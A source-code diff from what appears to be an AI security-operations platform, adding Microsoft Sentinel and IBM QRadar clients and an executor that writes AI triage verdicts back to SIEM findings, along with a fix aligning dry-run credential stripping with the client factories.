+ f"{self._base}/api/siem/offenses/{offense_id}",
+ headers=self._headers(),
+ params={"fields": "id,status,assigned_to,closing_reason_id"},
+ )
+ response.raise_for_status()
+ return response.json() if response.content else {}
+
+ async def add_note(self, offense_id: str, note_text: str) -> dict[str, Any]:
+ """Attach a note to an offense.
+
+ Notes are append-only in QRadar, which is what makes them the right
+ place for an AiSOC verdict: the analyst's own notes are never
+ overwritten and the platform's reasoning is timestamped alongside them.
+ """
+ body = await self._post(f"/api/siem/offenses/{offense_id}/notes", {"note_text": note_text[:2000]})
+ logger.info("qradar.offense.note_added", offense_id=offense_id)
+ return {"success": True, "action": "add_note", "offense_id": offense_id, "response": body}
+
+ async def close_offense(
+ self,
+ offense_id: str,
+ *,
+ closing_reason_id: int,
+ note_text: str | None = None,
+ ) -> dict[str, Any]:
+ """Close an offense.
+
+ ``closing_reason_id`` is mandatory on the QRadar side and is
+ deployment-specific — the console ships three defaults and most SOCs
+ add their own, so there is no id this client could safely assume. The
+ caller supplies it from connector configuration.
+ """
+ if note_text:
+ await self.add_note(offense_id, note_text)
+ body = await self._post(
+ f"/api/siem/offenses/{offense_id}",
+ {"status": "CLOSED", "closing_reason_id": int(closing_reason_id)},
+ )
+ logger.info("qradar.offense.closed", offense_id=offense_id, closing_reason_id=closing_reason_id)
+ return {
+ "success": True,
+ "action": "close_offense",
+ "offense_id": offense_id,
+ "closing_reason_id": closing_reason_id,
+ "response": body,
+ }
+
+ async def escalate_offense(
+ self,
+ offense_id: str,
+ *,
+ note_text: str,
+ assigned_to: str | None = None,
+ ) -> dict[str, Any]:
+ """Annotate an offense and hand it to an owner, leaving it OPEN.
+
+ No status change: an offense AiSOC confirmed is one a human has to
+ look at, and QRadar has no state between OPEN and CLOSED that would
+ mean anything more than the note already does.
+ """
+ await self.add_note(offense_id, note_text)
+ params: dict[str, Any] = {"status": "OPEN"}
+ if assigned_to:
+ params["assigned_to"] = assigned_to
+ body = await self._post(f"/api/siem/offenses/{offense_id}", params)
+ logger.info("qradar.offense.escalated", offense_id=offense_id, assigned_to=assigned_to)
+ return {
+ "success": True,
+ "action": "escalate_offense",
+ "offense_id": offense_id,
+ "assigned_to": assigned_to,
+ "response": body,
+ }
diff --git a/services/actions/app/clients/sentinel_client.py b/services/actions/app/clients/sentinel_client.py
new file mode 100644
index 000000000..964cd0be0
--- /dev/null
+++ b/services/actions/app/clients/sentinel_client.py
@@ -0,0 +1,188 @@
+"""Microsoft Sentinel REST client — incident lifecycle writeback.
+
+Sentinel incidents live behind Azure Resource Manager, so every call needs the
+full workspace path (subscription / resource group / workspace) plus an Entra
+application token scoped to ``https://management.azure.com/.default``. The
+app registration needs the *Microsoft Sentinel Responder* role on the
+workspace; *Reader* is enough to fetch an incident and not enough to update
+one, which surfaces as a 403 on the PATCH and nothing earlier.
+
+Credentials expected in ``ActionRequest.parameters``:
+ sentinel_tenant_id, sentinel_client_id, sentinel_client_secret
+ sentinel_subscription_id, sentinel_resource_group, sentinel_workspace_name
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import httpx
+import structlog
+
+logger = structlog.get_logger()
+
+#: Pinned: the incident ``properties`` contract differs between versions, and
+#: a floating ``api-version`` would change what a PATCH means without a deploy.
+API_VERSION = "2023-11-01"
+
+ARM_BASE = "https://management.azure.com"
+AUTHORITY = "https://login.microsoftonline.com"
+SCOPE = "https://management.azure.com/.default"
+
+#: Sentinel's closed-incident classifications. ``Undetermined`` is deliberately
+#: absent from the writeback mapping: it is what a human picks when they gave
+#: up, and it is not something the platform should claim on their behalf.
+CLASSIFICATION_FALSE_POSITIVE = "FalsePositive"
+CLASSIFICATION_BENIGN_POSITIVE = "BenignPositive"
+CLASSIFICATION_TRUE_POSITIVE = "TruePositive"
+
+
+class SentinelClient:
+ """Async client for Microsoft Sentinel incident updates."""
+
+ def __init__(
+ self,
+ tenant_id: str,
+ client_id: str,
+ client_secret: str,
+ subscription_id: str,
+ resource_group: str,
+ workspace_name: str,
+ *,
+ timeout: float = 30.0,
+ ) -> None:
+ self._tenant_id = tenant_id
+ self._client_id = client_id
+ self._client_secret = client_secret
+ self._subscription_id = subscription_id
+ self._resource_group = resource_group
+ self._workspace_name = workspace_name
+ self._timeout = timeout
+ self._token: str | None = None
+
+ def _incident_url(self, incident_id: str) -> str:
+ return (
+ f"{ARM_BASE}/subscriptions/{self._subscription_id}"
+ f"/resourceGroups/{self._resource_group}"
+ f"/providers/Microsoft.OperationalInsights/workspaces/{self._workspace_name}"
+ f"/providers/Microsoft.SecurityInsights/incidents/{incident_id}"
+ )
+
+ async def _access_token(self, client: httpx.AsyncClient) -> str:
+ if self._token:
+ return self._token
+ response = await client.post(
+ f"{AUTHORITY}/{self._tenant_id}/oauth2/v2.0/token",
+ data={
+ "grant_type": "client_credentials",
+ "client_id": self._client_id,
+ "client_secret": self._client_secret,
+ "scope": SCOPE,
+ },
+ )
+ response.raise_for_status()
+ self._token = response.json()["access_token"]
+ return self._token
+
+ async def get_incident(self, incident_id: str) -> dict[str, Any]:
+ """Read one incident. Used as the writeback verification probe."""
+ async with httpx.AsyncClient(timeout=self._timeout) as client:
+ token = await self._access_token(client)
+ response = await client.get(
+ self._incident_url(incident_id),
+ headers={"Authorization": f"Bearer {token}"},
+ params={"api-version": API_VERSION},
+ )
+ response.raise_for_status()
+ return response.json() if response.content else {}
+
+ async def update_incident(
+ self,
+ incident_id: str,
+ *,
+ status: str,
+ classification: str | None = None,
+ classification_comment: str | None = None,
+ owner_upn: str | None = None,
+ ) -> dict[str, Any]:
+ """PATCH an incident's status and classification.
+
+ Sentinel's incident PATCH replaces ``properties`` wholesale rather than
+ merging, so ``title`` and ``severity`` must be echoed back or the call
+ fails validation. That means a read is not an optimisation here — it is
+ required for correctness, and it is why this method issues two
+ requests.
+ """
+ async with httpx.AsyncClient(timeout=self._timeout) as client:
+ token = await self._access_token(client)
+ headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
+ url = self._incident_url(incident_id)
+ params = {"api-version": API_VERSION}
+
+ current = await client.get(url, headers=headers, params=params)
+ current.raise_for_status()
+ existing = (current.json() or {}).get("properties", {}) if current.content else {}
+
+ properties: dict[str, Any] = {
+ "title": existing.get("title") or f"AiSOC incident {incident_id}",
+ "severity": existing.get("severity") or "Medium",
+ "status": status,
+ }
+ if classification:
+ properties["classification"] = classification
+ if classification_comment:
+ properties["classificationComment"] = classification_comment[:2000]
+ if owner_upn:
+ properties["owner"] = {"userPrincipalName": owner_upn}
+
+ response = await client.patch(url, headers=headers, params=params, json={"properties": properties})
+ response.raise_for_status()
+ logger.info(
+ "sentinel.incident.updated",
+ incident_id=incident_id,
+ status=status,
+ classification=classification,
+ )
+ return {
+ "success": True,
+ "action": "update_incident",
+ "incident_id": incident_id,
+ "status": status,
+ "classification": classification,
+ "response": response.json() if response.content else {},
+ }
+
+ async def close_incident(
+ self,
+ incident_id: str,
+ *,
+ classification: str,
+ comment: str,
+ ) -> dict[str, Any]:
+ """Close an incident with a classification and AiSOC's reasoning."""
+ return await self.update_incident(
+ incident_id,
+ status="Closed",
+ classification=classification,
+ classification_comment=comment,
+ )
+
+ async def escalate_incident(
+ self,
+ incident_id: str,
+ *,
+ comment: str,
+ owner_upn: str | None = None,
+ ) -> dict[str, Any]:
+ """Move an incident to Active and record why, leaving it OPEN.
+
+ No classification is set: Sentinel only accepts one on a closed
+ incident, and an incident AiSOC confirmed is precisely the one that
+ must not be closed.
+ """
+ return await self.update_incident(
+ incident_id,
+ status="Active",
+ classification_comment=comment,
+ owner_upn=owner_upn,
+ )
diff --git a/services/actions/app/executors/siem.py b/services/actions/app/executors/siem.py
index 8b5a51260..fbdda55f8 100644
--- a/services/actions/app/executors/siem.py
+++ b/services/actions/app/executors/siem.py
@@ -22,19 +22,98 @@ from datetime import datetime
import structlog
from app.clients.elastic_client import ElasticClient
+from app.clients.qradar_client import QRadarClient
+from app.clients.sentinel_client import (
+ CLASSIFICATION_BENIGN_POSITIVE,
+ CLASSIFICATION_FALSE_POSITIVE,
+ SentinelClient,
+)
from app.clients.splunk_client import SplunkClient
from app.executors.base import _SIM_FUNNEL_CTA, BaseExecutor
from app.models.action import ActionRequest, ActionResult, ActionStatus, BlastRadius
+from app.services.disposition_writeback import (
+ BENIGN,
+ BENIGN_TRUE_POSITIVE,
+ FALSE_POSITIVE,
+ WritebackAction,
+ WritebackPlan,
+ plan_writeback,
+)
logger = structlog.get_logger()
+# ──────────────────────────────────────────────────────────────────────────
+# Client factories, and the exact parameter keys each one reads.
+#
+# The key tuples are exported because ``live_actions.builtins`` enforces
+# ``dry_run`` by *stripping credentials* before delegating here. If the strip
+# list and the factory's read set disagree, the factory still builds a client
+# and a "dry run" calls the customer's production SIEM. That is exactly what
+# happened: the strip list named ``splunk_host``/``splunk_token``/
+# ``splunk_index`` while this factory reads ``splunk_url`` first and accepts
+# basic auth, so a connector-configured tenant previewing an action reached
+# the real Splunk. Elastic had the identical mismatch.
+#
+# ``tests/test_dry_run_credential_strip.py`` re-derives each read set from
+# this module's source and fails if a factory grows a key the tuple omits, so
+# the two cannot drift again.
+# ──────────────────────────────────────────────────────────────────────────
+
+#: Every ``params`` key :func:`_splunk_client` reads.
+SPLUNK_CLIENT_PARAM_KEYS: tuple[str, ...] = (
+ "splunk_url",
+ "splunk_host",
+ "splunk_token",
+ "splunk_username",
+ "splunk_password",
+ "splunk_verify_ssl",
+)
+
+#: Every ``params`` key :func:`_elastic_client` reads.
+ELASTIC_CLIENT_PARAM_KEYS: tuple[str, ...] = (
+ "elastic_url",
+ "elastic_api_key",
+ "elastic_username",
+ "elastic_password",
+ "kibana_url",
+)
+
+#: Every ``params`` key :func:`_sentinel_client` reads.
+SENTINEL_CLIENT_PARAM_KEYS: tuple[str, ...] = (
+ "sentinel_tenant_id",
+ "sentinel_client_id",
+ "sentinel_client_secret",
+ "sentinel_subscription_id",
+ "sentinel_resource_group",
+ "sentinel_workspace_name",
+)
+
+#: Every ``params`` key :func:`_qradar_client` reads.
+QRADAR_CLIENT_PARAM_KEYS: tuple[str, ...] = (
+ "qradar_url",
+ "qradar_token",
+ "qradar_verify_ssl",
+)
+
+#: Credential keys the Microsoft Defender arm reads directly (it builds its
+#: client inline rather than through a factory).
+DEFENDER_CLIENT_PARAM_KEYS: tuple[str, ...] = (
+ "mde_tenant_id",
+ "mde_client_id",
+ "mde_client_secret",
+)
+
+
def _splunk_client(params: dict) -> SplunkClient | None:
"""Build a Splunk client from request parameters.
Both ``splunk_url`` and the older ``splunk_host`` key are accepted
(some playbooks predate the standardisation pass on Wave-E) and
forwarded to the client's ``host=`` argument.
+
+ The management port is 8089, not a web-UI port — a URL pointing at 8000
+ authenticates and then 404s on every REST path.
"""
url = params.get("splunk_url") or params.get("splunk_host")
if not url:
@@ -61,6 +140,47 @@ def _elastic_client(params: dict) -> ElasticClient | None:
)
+def _sentinel_client(params: dict) -> SentinelClient | None:
+ """Build a Microsoft Sentinel client, or None when any field is absent.
+
+ Sentinel addresses an incident by the full ARM path, so every one of
+ subscription / resource group / workspace is required — a partial config
+ would produce a URL that resolves to somebody else's workspace or to
+ nothing, and neither is a failure mode worth guessing through.
+ """
+ required = (
+ params.get("sentinel_tenant_id"),
+ params.get("sentinel_client_id"),
+ params.get("sentinel_client_secret"),
+ params.get("sentinel_subscription_id"),
+ params.get("sentinel_resource_group"),
+ params.get("sentinel_workspace_name"),
+ )
+ if not all(required):
+ return None
+ tenant, client_id, client_secret, subscription, resource_group, workspace = required
+ return SentinelClient(
+ tenant_id=str(tenant),
+ client_id=str(client_id),
+ client_secret=str(client_secret),
+ subscription_id=str(subscription),
+ resource_group=str(resource_group),
+ workspace_name=str(workspace),
+ )
+
+
+def _qradar_client(params: dict) -> QRadarClient | None:
+ url = params.get("qradar_url")
+ token = params.get("qradar_token")
+ if not (url and token):
+ return None
+ return QRadarClient(
+ base_url=str(url),
+ api_token=str(token),
+ verify_ssl=bool(params.get("qradar_verify_ssl", True)),
+ )
+
+
class SearchSIEMExecutor(BaseExecutor):
"""Runs a search query against Splunk or Elastic SIEM.
@@ -172,11 +292,16 @@ class CreateNotableEventExecutor(BaseExecutor):
splunk = _splunk_client(request.parameters)
if splunk:
try:
+ # `SplunkClient.create_notable_event` takes (rule_name, event_data,
+ # severity, owner, status). The executor used to pass
+ # `title=`/`description=`/`fields=`, so every live call raised
+ # TypeError — invisible because simulation mode never builds the
+ # client. `tests/test_siem_client_signatures.py` autospecs the
+ # client so the two cannot drift apart again.
result = await splunk.create_notable_event(
- title=title,
+ rule_name=title,
+ event_data={"description": description, **(fields or {})},
severity=severity,
- description=description,
- fields=fields,
)
return ActionResult(
action_id=request.id,
@@ -427,24 +552,90 @@ class BlockIOCExecutor(BaseExecutor):
# ──────────────────────────────────────────────────────────────────────────
-def _ack_vendor(params: dict) -> str | None:
- """Pick the vendor for an ack/suppress call.
+#: Alias → canonical vendor id for the ``alert_vendor`` pin.
+_VENDOR_ALIASES: dict[str, str] = {
+ "mde": "defender",
+ "microsoft_defender": "defender",
+ "microsoft_sentinel": "sentinel",
+ "azure_sentinel": "sentinel",
+ "ibm_qradar": "qradar",
+ "elasticsearch": "elastic",
+ "splunk_enterprise": "splunk",
+}
+
+#: Credential-order fallback, most specific SIEM first. Defender last because
+#: an estate with both a SIEM and Defender wired almost always means the SIEM
+#: is the system of record for findings.
+_VENDOR_PRIORITY: tuple[str, ...] = ("splunk", "elastic", "sentinel", "qradar", "defender")
+
+
+def _vendor_credentials_present(vendor: str, params: dict) -> bool:
+ """Whether ``vendor``'s credentials in ``params`` would build a live client."""
+ if vendor == "splunk":
+ return _splunk_client(params) is not None
+ if vendor == "elastic":
+ return _elastic_client(params) is not None
+ if vendor == "sentinel":
+ return _sentinel_client(params) is not None
+ if vendor == "qradar":
+ return _qradar_client(params) is not None
+ if vendor == "defender":
+ return all(params.get(key) for key in DEFENDER_CLIENT_PARAM_KEYS)
+ return False
+
+
+def _no_client_result(request: ActionRequest, vendor: str, blast: BlastRadius) -> ActionResult:
+ """Fail closed when a resolved vendor turns out to have no usable client.
+
+ Unreachable by construction (:func:`_ack_vendor` only names a vendor whose
+ credentials build one), and kept because the previous guard was ``assert``:
+ stripped by ``python -O`` and, before the pin fix, genuinely reachable.
+ Reported FAILED rather than simulated — the caller asked for a specific
+ vendor and it did not run, which is not the same as having no credentials
+ at all.
+ """
+ return ActionResult(
+ action_id=request.id,
+ status=ActionStatus.FAILED,
+ blast_radius=blast,
+ error=f"{vendor} was selected but its credentials did not build a client",
+ completed_at=datetime.utcnow(),
+ )
+
- Some teams point multiple SIEMs at the same incident store; we
- let the playbook declare which one it cares about via
- ``alert_vendor``. Falls back to the first vendor whose
- credentials are present, in priority order: Splunk → Elastic →
- Defender. None means "fall back to simulation".
+def _ack_vendor(params: dict) -> str | None:
+ """Pick the vendor for an alert-lifecycle call, or None to simulate.
+
+ Some teams point several SIEMs at the same estate, so a caller may pin one
+ with ``alert_vendor`` rather than depend on which credential block happens
+ to be present.
+
+ **A pin is a routing hint, never a licence to skip the credential check.**
+ This used to return the pinned vendor unconditionally, so a dry run — which
+ works by stripping credentials — still resolved to "splunk" and the caller
+ then asserted on a client that was None. Worse, a pin naming a vendor the
+ tenant has not configured reported a vendor arm that could never have run.
+
+ A pin whose credentials are absent resolves to None (simulation) rather
+ than falling through to the next vendor: "write this to Splunk" must never
+ become "write this to Elastic instead", because the disposition would land
+ on a finding in a system nobody asked about.
"""
- explicit = (params.get("alert_vendor") or "").strip().lower()
- if explicit in {"splunk", "elastic", "defender", "mde"}:
- return "defender" if explicit == "mde" else explicit
- if _splunk_client(params):
- return "splunk"
- if _elastic_client(params):
- return "elastic"
- if all(params.get(k) for k in ("mde_tenant_id", "mde_client_id", "mde_client_secret")):
- return "defender"
+ raw = (params.get("alert_vendor") or "").strip().lower()
+ if raw:
+ pinned = _VENDOR_ALIASES.get(raw, raw)
+ if pinned in _VENDOR_PRIORITY and _vendor_credentials_present(pinned, params):
+ return pinned
+ logger.warning(
+ "alert_lifecycle.pinned_vendor_unusable",
+ pinned=pinned,
+ known_vendor=pinned in _VENDOR_PRIORITY,
+ reason="no credentials for the pinned vendor; refusing to silently use another",
+ )
+ return None
+ for vendor in _VENDOR_PRIORITY:
+ if _vendor_credentials_present(vendor, params):
+ return vendor
return None
@@ -465,7 +656,8 @@ class AckAlertExecutor(BaseExecutor):
if vendor == "splunk":
splunk = _splunk_client(request.parameters)
- assert splunk is not None # _ack_vendor only returns "splunk" when this is non-None
+ if splunk is None: # unreachable: _ack_vendor verified the credentials build a client
+ return _no_client_result(request, "splunk", BlastRadius.MINIMAL)
try:
owner = request.parameters.get("owner", "aisoc")
comment = request.parameters.get("comment") or request.rationale or "Acknowledged by AiSOC"
@@ -490,7 +682,8 @@ class AckAlertExecutor(BaseExecutor):
if vendor == "elastic":
elastic = _elastic_client(request.parameters)
- assert elastic is not None
+ if elastic is None: # unreachable: see above
+ return _no_client_result(request, "elastic", BlastRadius.MINIMAL)
try:
result = await elastic.acknowledge_alert(signal_id=alert_id)
return ActionResult(
@@ -581,7 +774,8 @@ class SuppressAlertExecutor(BaseExecutor):
if vendor == "splunk":
splunk = _splunk_client(request.parameters)
- assert splunk is not None
+ if splunk is None: # unreachable: see AckAlertExecutor
+ return _no_client_result(request, "splunk", BlastRadius.LOW)
try:
comment = request.parameters.get("comment") or request.rationale or "Suppressed by AiSOC"
result = await splunk.suppress_notable_event(event_id=alert_id, comment=comment)
@@ -605,7 +799,8 @@ class SuppressAlertExecutor(BaseExecutor):
if vendor == "elastic":
elastic = _elastic_client(request.parameters)
- assert elastic is not None
+ if elastic is None: # unreachable: see AckAlertExecutor
+ return _no_client_result(request, "elastic", BlastRadius.LOW)
try:
result = await elastic.close_alert(signal_id=alert_id)
return ActionResult(
@@ -683,3 +878,265 @@ class SuppressAlertExecutor(BaseExecutor):
# a closed alert is the analyst's call, not ours.
logger.info("suppress_alert has no auto-rollback (re-open from SIEM console if needed)")
return True
+
+
+# ──────────────────────────────────────────────────────────────────────────
+# Two-way loop: write an AiSOC verdict back onto the finding that raised it
+# ──────────────────────────────────────────────────────────────────────────
+
+
+class UpdateAlertDispositionExecutor(BaseExecutor):
+ """Project an AiSOC verdict onto the source SIEM finding.
+
+ ``request.target`` is the vendor-side finding id — the Splunk notable's
+ rule UID, the Elastic signal id, the Sentinel incident name, the QRadar
+ offense id. That value reaches here as ``external_id``, which is the join
+ key the reconciliation table exists to preserve.
+
+ ``parameters``:
+ ``disposition`` canonical AiSOC disposition (required)
+ ``confidence`` 0..1, recorded in the comment, never decisive
+ ``rationale`` one line of the agent's reasoning
+ ``aisoc_alert_id`` so an analyst can find the AiSOC side
+ ``alert_vendor`` optional pin, honoured only with credentials
+ ``owner`` who to hand an escalation to
+ ``qradar_closing_reason_id`` required to close a QRadar offense
+
+ What it refuses is the interesting part. See
+ :mod:`app.services.disposition_writeback`: a confirmed true positive is
+ escalated rather than closed, and a verdict outside the canonical taxonomy
+ is refused rather than interpreted.
+ """
+
+ async def execute(self, request: ActionRequest) -> ActionResult:
+ params = request.parameters
+ finding_id = request.target
+ plan = plan_writeback(params.get("disposition"), confidence=params.get("confidence"))
+ comment = self._comment(plan, params, request)
+
+ if plan.action is WritebackAction.REFUSE:
+ # A refusal is a successful decision, not a failed action: the
+ # executor did exactly what the contract says it should. It is
+ # reported with `written: False` so nothing downstream can read it
+ # as a writeback that happened.
+ logger.info(
+ "update_alert_disposition.refused",
+ finding_id=finding_id,
+ disposition=plan.disposition,
+ )
+ return ActionResult(
+ action_id=request.id,
+ status=ActionStatus.COMPLETED,
+ blast_radius=BlastRadius.MINIMAL,
+ output={
+ "action": "update_alert_disposition",
+ "finding_id": finding_id,
+ "disposition": plan.disposition,
+ "writeback_action": plan.action.value,
+ "written": False,
+ "reason": plan.reason,
+ },
+ rollback_data={},
+ completed_at=datetime.utcnow(),
+ )
+
+ vendor = _ack_vendor(params)
+ logger.info(
+ "update_alert_disposition.dispatch",
+ vendor=vendor,
+ finding_id=finding_id,
+ writeback_action=plan.action.value,
+ )
+
+ if vendor is None:
+ return self._simulated(request, plan, finding_id)
+
+ try:
+ output = await self._write(vendor, finding_id, plan, comment, params)
+ except Exception as exc:
+ logger.error(
+ "update_alert_disposition.failed",
+ vendor=vendor,
+ finding_id=finding_id,
+ error=str(exc),
+ )
+ return ActionResult(
+ action_id=request.id,
+ status=ActionStatus.FAILED,
+ blast_radius=BlastRadius.LOW,
+ error=f"{type(exc).__name__}: {exc}",
+ completed_at=datetime.utcnow(),
+ )
+
+ return ActionResult(
+ action_id=request.id,
+ status=ActionStatus.COMPLETED,
+ blast_radius=BlastRadius.LOW,
+ output={
+ "action": "update_alert_disposition",
+ "vendor": vendor,
+ "finding_id": finding_id,
+ "disposition": plan.disposition,
+ "writeback_action": plan.action.value,
+ "written": True,
+ "reason": plan.reason,
+ "vendor_response": output,
+ },
+ rollback_data={"vendor": vendor, "finding_id": finding_id},
+ completed_at=datetime.utcnow(),
+ )
+
+ async def _write(
+ self,
+ vendor: str,
+ finding_id: str,
+ plan: WritebackPlan,
+ comment: str,
+ params: dict,
+ ) -> dict:
+ """Run the vendor call for ``plan``. Raises on any vendor error."""
+ closing = plan.action is WritebackAction.CLOSE
+ owner = params.get("owner") or "aisoc"
+
+ if vendor == "splunk":
+ splunk = _splunk_client(params)
+ if splunk is None:
+ raise RuntimeError("splunk credentials did not build a client")
+ if closing:
+ return await splunk.suppress_notable_event(event_id=finding_id, comment=comment)
+ return await splunk.acknowledge_notable_event(event_id=finding_id, owner=owner, comment=comment)
+
+ if vendor == "elastic":
+ elastic = _elastic_client(params)
+ if elastic is None:
+ raise RuntimeError("elastic credentials did not build a client")
+ if closing:
+ return await elastic.close_alert(signal_id=finding_id)
+ return await elastic.acknowledge_alert(signal_id=finding_id)
+
+ if vendor == "sentinel":
+ sentinel = _sentinel_client(params)
+ if sentinel is None:
+ raise RuntimeError("sentinel credentials did not build a client")
+ if closing:
+ return await sentinel.close_incident(
+ finding_id,
+ classification=_SENTINEL_CLASSIFICATION[plan.disposition],
+ comment=comment,
+ )
+ return await sentinel.escalate_incident(finding_id, comment=comment, owner_upn=params.get("owner_upn"))
+
+ if vendor == "qradar":
+ qradar = _qradar_client(params)
+ if qradar is None:
+ raise RuntimeError("qradar credentials did not build a client")
+ if closing:
+ reason_id = params.get("qradar_closing_reason_id")
+ if not reason_id:
+ # QRadar closing reasons are per-deployment. Guessing one
+ # would file the closure under somebody else's category,
+ # so the action fails loudly instead.
+ raise ValueError("qradar_closing_reason_id is required to close a QRadar offense")
+ return await qradar.close_offense(finding_id, closing_reason_id=int(reason_id), note_text=comment)
+ return await qradar.escalate_offense(finding_id, note_text=comment, assigned_to=params.get("owner_upn"))
+
+ if vendor == "defender":
+ from app.clients.defender_client import DefenderClient
+
+ mde = DefenderClient(
+ tenant_id=params["mde_tenant_id"],
+ client_id=params["mde_client_id"],
+ client_secret=params["mde_client_secret"],
+ )
+ if closing:
+ return await mde.suppress_alert(
+ alert_id=finding_id,
+ classification=_DEFENDER_CLASSIFICATION[plan.disposition],
+ determination=_DEFENDER_DETERMINATION[plan.disposition],
+ comment=comment,
+ )
+ return await mde.acknowledge_alert(alert_id=finding_id, comment=comment, assigned_to=params.get("owner_upn"))
+
+ raise ValueError(f"no disposition writeback arm for vendor {vendor!r}")
+
+ def _comment(self, plan: WritebackPlan, params: dict, request: ActionRequest) -> str:
+ """The sentence an analyst reads in their own console.
+
+ It names AiSOC, states the verdict and the reason, and carries the
+ AiSOC alert id so the two systems can be reconciled by hand if the
+ link table is ever lost.
+ """
+ parts = [plan.reason]
+ rationale = str(params.get("rationale") or request.rationale or "").strip()
+ if rationale:
+ parts.append(f"Reasoning: {rationale}")
+ alert_id = str(params.get("aisoc_alert_id") or "").strip()
+ if alert_id:
+ parts.append(f"AiSOC alert {alert_id}.")
+ return " ".join(parts)[:2000]
+
+ def _simulated(self, request: ActionRequest, plan: WritebackPlan, finding_id: str) -> ActionResult:
+ logger.warning(
+ "update_alert_disposition.simulation",
+ finding_id=finding_id,
+ reason="no SIEM credentials for the selected vendor",
+ funnel="plugin-sdk",
+ )
+ return ActionResult(
+ action_id=request.id,
+ status=ActionStatus.COMPLETED,
+ blast_radius=BlastRadius.LOW,
+ output={
+ "action": "update_alert_disposition",
+ "finding_id": finding_id,
+ "disposition": plan.disposition,
+ "writeback_action": plan.action.value,
+ "written": False,
+ "reason": plan.reason,
+ "note": (
+ "Simulation mode — no usable credentials for the selected SIEM, so nothing "
+ "was written to the source finding. Provide splunk_url/splunk_token, "
+ "elastic_url+kibana_url, the six sentinel_* fields, or "
+ "qradar_url/qradar_token to enable live execution." + _SIM_FUNNEL_CTA
+ ),
+ },
+ rollback_data={"finding_id": finding_id},
+ completed_at=datetime.utcnow(),
+ )
+
+ async def rollback(self, result: ActionResult) -> bool:
+ # Re-opening a finding the analyst may since have actioned would race
+ # them in their own console. The reverse is declared MANUAL_ONLY in the
+ # capability contract for exactly this reason, and saying so here beats
+ # returning True for a rollback that does nothing.
+ logger.info(
+ "update_alert_disposition has no auto-rollback (re-open from the SIEM console)",
+ finding_id=result.rollback_data.get("finding_id"),
+ )
+ return True
+
+
+#: Sentinel requires a classification on a closed incident, and the three it
+#: accepts map cleanly onto the three AiSOC verdicts that may close one.
+_SENTINEL_CLASSIFICATION: dict[str, str] = {
+ FALSE_POSITIVE: CLASSIFICATION_FALSE_POSITIVE,
+ BENIGN: CLASSIFICATION_BENIGN_POSITIVE,
+ BENIGN_TRUE_POSITIVE: CLASSIFICATION_BENIGN_POSITIVE,
+}
+
+#: Defender splits the same idea across two fields. ``benign_true_positive``
+#: is a *correct* detection of authorised activity, so it is classified
+#: TruePositive/SecurityTesting rather than being recorded as a false
+#: positive — filing it as FP would corrupt the rule's own FP rate, which is
+#: the distinction the disposition taxonomy exists to preserve.
+_DEFENDER_CLASSIFICATION: dict[str, str] = {
+ FALSE_POSITIVE: "FalsePositive",
+ BENIGN: "InformationalExpectedActivity",
+ BENIGN_TRUE_POSITIVE: "TruePositive",
+}
+
+_DEFENDER_DETERMINATION: dict[str, str] = {
+ FALSE_POSITIVE: "NotMalicious",
+ BENIGN: "NotMalicious",
+ BENIGN_TRUE_POSITIVE: "SecurityTesting",
+}
diff --git a/services/actions/app/live_actions/builtins.py b/services/actions/app/live_actions/builtins.py
index 6471772b5..8b6dcb953 100644
--- a/services/actions/app/live_actions/builtins.py
+++ b/services/actions/app/live_actions/builtins.py
@@ -39,6 +39,7 @@ from uuid import uuid4
import structlog
+from app.executors import siem
from app.executors.base import BaseExecutor
from app.executors.endpoint import (
IsolateHostExecutor,
@@ -67,6 +68,7 @@ from app.executors.siem import (
CreateNotableEventExecutor,
SearchSIEMExecutor,
SyncDetectionRuleExecutor,
+ UpdateAlertDispositionExecutor,
UpdateWatcherExecutor,
)
from app.models.action import ActionRequest, ActionStatus, ActionType
@@ -386,9 +388,23 @@ class GenericBlockDomain(_LegacyExecutorAdapter):
# vendor-specific credential keys so dry-run + discovery work correctly.
-_SPLUNK_KEYS = ("splunk_host", "splunk_token", "splunk_index")
-_ELASTIC_KEYS = ("elastic_host", "elastic_api_key", "elastic_index")
-_DEFENDER_IOC_KEYS = ("mde_tenant_id", "mde_client_id", "mde_client_secret")
+# The strip list MUST be the client factory's read set, not a hand-written
+# approximation of it. These used to be `("splunk_host", "splunk_token",
+# "splunk_index")` while `executors.siem._splunk_client` reads `splunk_url`
+# first and also accepts basic auth — so a dry run against a
+# connector-configured tenant stripped three keys the factory did not need,
+# left the ones it did, built a real client and called the customer's
+# production Splunk. Elastic was identical (`elastic_host` vs `elastic_url`).
+#
+# Importing the factories' own key tuples makes the two impossible to
+# disagree; `tests/test_dry_run_credential_strip.py` additionally re-derives
+# each read set from the factory source, so a factory that grows a key fails
+# the build rather than widening the dry-run hole.
+_SPLUNK_KEYS = siem.SPLUNK_CLIENT_PARAM_KEYS
+_ELASTIC_KEYS = siem.ELASTIC_CLIENT_PARAM_KEYS
+_SENTINEL_KEYS = siem.SENTINEL_CLIENT_PARAM_KEYS
+_QRADAR_KEYS = siem.QRADAR_CLIENT_PARAM_KEYS
+_DEFENDER_IOC_KEYS = siem.DEFENDER_CLIENT_PARAM_KEYS
@apply_contract
@@ -457,6 +473,94 @@ class DefenderBlockIOC(_LegacyExecutorAdapter):
_credential_keys = _DEFENDER_IOC_KEYS
+# ---------------------------------------------------------------------------
+# Two-way SIEM loop — AiSOC's verdict back onto the source finding
+# ---------------------------------------------------------------------------
+#
+# One executor, four vendor arms, because what the verb *means* is identical
+# everywhere: a finding AiSOC dismissed should not be re-triaged by a human,
+# and one AiSOC confirmed should already be assigned. Registering a vendor per
+# arm is what lets the planner answer "can I write back to this tenant's SIEM"
+# without constructing a client to find out.
+#
+# Each adapter pins `alert_vendor` so a tenant with two SIEMs configured does
+# not have the vendor chosen by credential ordering — but the pin is checked
+# against the credentials before it is honoured (see `siem._ack_vendor`), so
+# pinning a vendor the tenant has not configured simulates rather than
+# pretending an arm ran.
+
+
+class _DispositionWriteback(_LegacyExecutorAdapter):
+ """Shared body for the disposition-writeback vendor arms.
+
+ Deliberately declares no ``capability``: an intermediate class that named
+ one without a ``vendor_id`` would be graded by the action-contract gate as
+ a half-declared executor. Each concrete arm below declares both.
+ """
+
+ requires_credentials = True
+ _legacy_executor = UpdateAlertDispositionExecutor()
+ _legacy_action_type = ActionType.UPDATE_ALERT_DISPOSITION
+
+ async def execute(self, request: LiveActionRequest) -> LiveActionResult:
+ pinned = {**request.params, "alert_vendor": self.vendor_id}
+ return await super().execute(request.model_copy(update={"params": pinned}))
+
